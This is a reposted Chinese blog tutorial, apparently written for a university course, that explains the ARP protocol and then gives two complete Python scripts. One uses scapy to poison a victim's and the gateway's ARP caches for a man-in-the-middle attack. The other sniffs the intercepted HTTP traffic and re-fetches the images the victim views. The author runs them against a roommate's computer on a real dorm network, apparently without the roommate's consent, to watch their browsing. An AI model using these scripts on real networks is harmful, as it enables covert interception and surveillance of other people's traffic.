arp協議分析&python編程實現arp欺騙抓圖片


arp協議分析&python編程實現arp欺騙抓圖片

學校tcp/ip協議分析課程老師布置的任務,要求分析一種網絡協議並且研究安全問題並編程實現,於是我選擇了研究arp協議,並且利用python編程實現一次簡單的局域網arp攻擊,抓取室友網上瀏覽的圖片(滑稽臉)

實驗環境

1.kali2.0操作系統,本人用的32位的,裝在vm12虛擬機中

2.python2.7.13,kali2.0自帶

3.一個局域網和室友的電腦

4.kali所支持的無線網卡,型號為RT3070,某寶四十多就能能買到,主要用來抓取無線數據包,因為windows自帶無線網卡kali不支持

選擇kali支持的無線網卡可參考鏈接
http://www.freebuf.com/articles/wireless/140065.html

不過要注意一點,wn722n型號的無線網卡只有v1才支持kali,現在網上大多數賣的都是v2的,如果選擇這一款買的時候要好好看一下,不要選錯

arp協議研究

在進行arp攻擊之前,先來研究一下arp協議

arp協議簡介:arp協議的全稱為地址解析協議,是一種工作在網絡層的協議,是一種將ip地址轉換為MAC地址(物理地址)的協議

這里之所以需要使用MAC地址,是因為網絡中用於連接各個設備的交換機使用了內容可尋址存儲器(CAM,Coment Addressable Memory)。該存儲器維護的ARP表列出了它在每一個端口的所有連接設備的MAC地址。當交換機收到了一個指向特定MAC地址的網絡流量,它就會使用這個表,來確定應該使用哪一個端口發送流量。如果目標MAC地址是未知的,那么這個傳輸設備會首先在它的緩存中查找這個地址,如果沒有找到,那么這個地址就需要通過在網絡上額外的通信中解析了。因為在OSI七層模型中,ip地址在第三層網絡層,傳送的是數據報,mac地址在第二層數據鏈路層,傳送的是數據幀,二層的以太網交換設備並不能識別32位的IP地址,它們是以48位以太網地址(就是我們常說的MAC地址)傳輸以太網數據包(幀)的,局域網的機器要和其他機器進行通信,首先要獲取對方的物理地址,所以arp協議便把ip地址轉換為物理地址來實現這種對應關系

arp協議數據包

arp數據包分為arp請求包和arp響應包,數據包格式如下圖,arp數據包長度為28字節
mark
其中op段代表操作類型,當op為1代表發起arp請求,說明這是一個arp請求包,當op為2時代表發起arp響應,說明這是一個arp響應包,現在假設局域網的一台機器要上外網(比如百度),首先要與網關進行通訊,獲取網關的物理地址后才能傳送數據通過網關訪問外網,這台機器會首先查看自己電腦的arp緩存表(緩存時間為120s)中是否有網關的物理地址,如果沒有便會向局域網內的機器以廣播的形式發送arp請求包詢問網管的物理地址,請求包主要字段如下

op:1(op值為1說明這是一次arp請求)
hwsrc:發送方MAC地址(即本機器MAC地址)
psrc:發送方ip地址(即本機內網ip地址)
hwdst:目標MAC地址(在這里為未知00:00:00:00:00:00)
pdst:目標ip地址(即網關ip地址,一般為192.168.0.1/192.168.1.1)

局域網內所有機器接收此arp請求,如果發現請求的ip為自己的ip便會向請求機器發送arp響應,將自己的MAC地址帶入arp響應包單播發送給請求的機器,arp響應包主要字段如下

op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(即網關MAC地址)
psrc:發送方ip地址(即網關ip地址)
hwdst:目標MAC地址(為發起arp請求的機器的MAC地址)
pdst:目標ip地址(為發起arp請求的機器的ip地址)

這樣發起arp請求的機器從arp響應包里獲取MAC地址並添加到本機arp緩存中,與網關進行通信,在這里要注意一點,在本機向網關發送arp請求的同時,網關也會向本機發送arp請求獲取本機MAC地址,同時本機也會向網關發送arp響應,這時一個雙向的過程,這里不再重復

接下來為了更清楚的理解,用wireshark抓包來觀察一下arp請求包和響應包

選擇抓包的網卡接口,在這選擇wlan0,並向網關發起ping請求與網關通信,本機ip為192.168.0.106,網關ip為192.168.0.1
mark
mark
在過濾窗口輸入arp&&ip.addr==192.168.0.1將arp數據包過濾出來
mark
觀察arp請求包和響應包是否和上述描述的一致,圖中做出了詳細標明

arp請求包
mark
arp響應包
mark)

arp欺騙

上面描述完了arp協議,下面來說一下arp欺騙攻擊,假設局域網內有三台機器

網關:192.168.0.1
受害者機器:192.168.0.108
本機kali:192.168.0.106

正常情況下,如果受害者和網關要進行通信,首先要使用arp協議進行對方的MAC地址獲取,但是如果攻擊者不斷的向受害者發送arp響應包,告訴受害者網關的MAC地址為自己的MAC地址,包的大致內容如下

op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(攻擊者MAC地址)
psrc:發送方ip地址(網關ip地址)
hwdst:目標MAC地址(受害者MAC地址)
pdst:目標ip地址(受害者ip地址)

在這里發送方ip是網關的ip,但是發送方MAC已經變為了攻擊者(kali)的MAC地址,受害者不斷的接收這個arp響應包,便會在自己的arp緩存中不斷的更新錯誤的ip與MAC的對應關系,及網關的MAC為攻擊者的MAC,由此攻擊者的網卡便可以捕獲到受害者到網關之間的流量,到現在實現了arp斷網,受害者因為與錯誤的MAC地址進行通訊而上不了網,如果攻擊者的機器開啟了ip轉發,便可以將從受害者截取到的流量轉發出去給網關,實現arp欺騙,也稱為中間人攻擊

arp欺騙一般是雙向欺騙,我們通過arp欺騙可以捕獲到受害者到網關的流量,同樣的我們可以向網關發送arp響應包欺騙網關受害者的MAC地址為自己的MAC地址,截獲網關到受害者之間的流量,arp響應包大致如下

op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(攻擊者MAC地址)
psrc:發送方ip地址(受害者ip地址)
hwdst:目標MAC地址(網關MAC地址)
pdst:目標ip地址(網關ip地址)

同樣的網關在不斷接受到此arp響應時也會不斷的更新自己的arp緩存去建立錯誤的關系,我們的kali攻擊機便可以雙向的截獲流量

用python實現arp攻擊

所需的python第三方庫

scapy庫:scapy是一個可用於網絡嗅探的非常強大的第三方庫。可以偽造,嗅探或發送網絡數據包,這這里我們使用scapy庫偽造arp響應包並發送,首先安裝scapy庫,kali默認自帶

pip install scapy

模擬攻擊環境,一個真實的局域網,就是我們寢室

自己的kali攻擊機:192.168.0.106,裝在vm虛擬機中,連接了RT3070型號的無線網卡
室友的電腦:192.168.0.108,連接同一路由器的無線網
網關:192.168.0.1

編寫python代碼:arpattack.py

from scapy.all import *#導入scapy模塊
from optparse import OptionParser#導入命令行參數處理模塊optparse
import sys
def main():
    usage="Usage: [-i interface] [-t targetip] [-g gatewayip]"
    parser=OptionParser(usage)
    parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所選擇的網卡,eth0或wlan0,存放在interface變量中
    parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻擊的ip,存放在targetip變量中
    parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 網關ip,存放在gatewayip變量中
    (options,args)=parser.parse_args()
    if options.interface and options.targetip and options.gatewayip:
        interface=options.interface
        tip=options.targetip
        gip=options.gatewayip
        spoof(interface,tip,gip)#將參數傳給spoof函數
    else:
        parser.print_help()#顯示幫助
        sys.exit(0)
def spoof(interface,tip,gip):#獲取命令行的輸入實現arp攻擊
    localmac=get_if_hwaddr(interface)#get_if_hwaddr獲取本地網卡MAC地址
    tmac=getmacbyip(tip)#根據目標ip獲取其MAC地址
    gmac=getmacbyip(gip)#根據網關ip獲取其MAC地址
    ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#構造arp響應包,欺騙目標機器網關的MAC地址為本機MAC地址
    pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#構造arp響應包,欺騙網關目標機器的MAC地址為本機MAC地址
    try:
        while 1:
            sendp(ptarget,inter=2,iface=interface)
            print "send arp reponse to target(%s),gateway(%s) macaddress is %s"%(tip,gip,localmac)
            sendp(pgateway,inter=2,iface=interface)
            print "send arp reponse to gateway(%s),target(%s) macaddress is %s"%(gip,tip,localmac)#不斷發送arp響應包欺騙目標機器和網關,直到ctrl+c結束程序
    except KeyboardInterrupt:
        sys.exit(0)
if __name__=='__main__':
    main()

 

腳本使用到的scapy庫中的幾個函數

get_if_hwaddr("本地網卡名稱(eth0/wlan0)")    根據所選擇的本地網卡獲取相應的本地網卡的MAC地址

mark

getmacbyip("ip地址")    根據ip地址獲取其MAC地址,使用該函數實際上使用了一次arp協議,可以用此函數獲取網關和目標的MAC地址

mark
ARP是構建ARP數據包的類,Ether用來構建以太網數據包,構造arp數據包並加上以太網頭部

Ether(src=本地網卡MAC,dst=目標機器MAC)/ARP(hwsrc=本地網卡MAC,psrc=網關ip,hwdst=目標機器MAC,pdst=目標機器ip,op=2)
構造發送給目標機器的arp數據包,並加上以太網頭部,欺騙目標機器網關的MAC為本機的MAC

Ether(src=本地網卡MAC,dst=網關MAC)/ARP(hwsrc=本地網卡MAC,psrc=網關ip,hwdst=網關MAC,pdst=網關ip,op=2)
構造發送給網關的arp數據包,並加上以太網頭部,欺騙網關目標機器的MAC為本機的MAC

sendp函數發送我們構造的arp數據包    sendp(數據包, inter=2, iface=網卡)    sendp函數工作在網絡的第二層

以上代碼實現了類似於arpspoof工具的功能,使用方法,進入腳本目錄,輸入

python arpattack.py -h

查看腳本使用幫助

Usage: [-i interface] [-t targetip] [-g gatewayip]

Options:
    -h, --help    show this help message and exit
    -i INTERFACE  select interface(input eth0 or wlan0 or more)
    -t TARGETIP   select ip to spoof
    -g GATEWAYIP  input gateway ip

所以我們這樣輸入可以雙向的欺騙網關和目標機器完中間人攻擊

python arpattack.py -i 網卡 -t 要攻擊的目標的ip地址 -g 網關ip

輸入

python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1

選擇無線網卡wlan0的MAC地址去欺騙室友的電腦和網關路由器,如果我和室友都插了網線,就要選擇eth0

運行腳本便會不斷的向室友的電腦和網關發送arp響應包進行雙向欺騙,效果如下
mark
室友電腦arp緩存
mark
路由器arp緩存
mark
這時我們截獲了室友電腦和網關之間的流量,使其不能相互通信,完成了arp斷網

echo "1">/proc/sys/net/ipv4/ip_forward

開啟流量轉發,這時室友和網關正常通訊,但是流量會經過我們的網卡

接下來用python編寫代碼查看室友電腦瀏覽的網頁圖片,其實不難,因為瀏覽圖片一般都是向服務器發送一次請求圖片的http請求,所以只需從經過我們網卡的流量中過濾tcp80端口的數據包(http協議),將數據包的頭部層層去掉,最后便能得到應用層的http數據包,在利用正則表達式將http://*.jpg篩選出來即可知道室友請求了哪些圖片,python的pcap庫和dpkt庫可以使我們很容易的得到電腦網卡流量中的http應用層數據包

apt-get install libpcap-dev

pip install pypcap

pip install dpkt

安裝pcap庫和dpkt庫

pcap模塊的pcap方法可以返回一個用來捕獲網卡數據包的pcap對象

dpkt,一個數據包解析工具,可以解析離線/實時pcap數據包

python代碼如下stealimg.py

import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist=[]
def main():
    usage="Usage: [-i interface]"
    parser=OptionParser(usage)
    parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
    (options,args)=parser.parse_args()
    if options.interface:
        interface=options.interface
        pc=pcap.pcap(interface)
        pc.setfilter('tcp port 80')
        for ptime,pdata in pc:
            getimg(pdata)
    else:
        parser.print_help()
        sys.exit(0)
def getimg(pdata):
    global urllist
    p=dpkt.ethernet.Ethernet(pdata)
    if p.data.__class__.__name__=='IP':
        if p.data.data.__class__.__name__=='TCP':
            if p.data.data.dport==80:
                pa=re.compile(r'GET (.*?\.jpg)')#|.*?\.png|.*?\.gif
                img=re.findall(pa,p.data.data.data)
                if img!=[]:
                    lines=p.data.data.data.split('\n')
                    for line in lines:
                        if 'Host:' in line:
                            url='http://'+line.split(':')[-1].strip()+img[-1]
                            if url not in urllist:
                                urllist.append(url)
                                if 'Referer:' in p.data.data.data:
                                    for line in lines:
                                        if 'Referer:' in line:
                                            referer=line.split(':')[-1].strip()
                                            print url
                                            r=requests.get(url,headers={'Referer':referer})
                                            img=Image.open(BytesIO(r.content))
                                            img.show()
                                else:
                                    r=requests.get(url)
                                    img=Image.open(BytesIO(r.content))
                                    img.show()
                            else:
                                pass
if __name__=='__main__':
    main()  

 

代碼將pcap從本機網卡捕獲到的完整的網絡數據包使用dpkt庫將其中封裝的http應用層數據包提取出來,通過正則表達式將請求圖片的http請求過濾出來,並在本機請求並輸出,完成窺屏,效果如下

室友電腦瀏覽圖片
mark
自己kali可以窺屏
mark

注意一點,百度的圖片爬取要在http請求頭中加上Referer字段,否則會出現403禁止訪問,代碼只是簡單的實現了窺屏的效果,還有着很多不足,不過通過這次學習可以對arp欺騙攻擊有更深的理解

 

轉載自(http://lawlietweb.com/2018/01/12/arpattack/)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM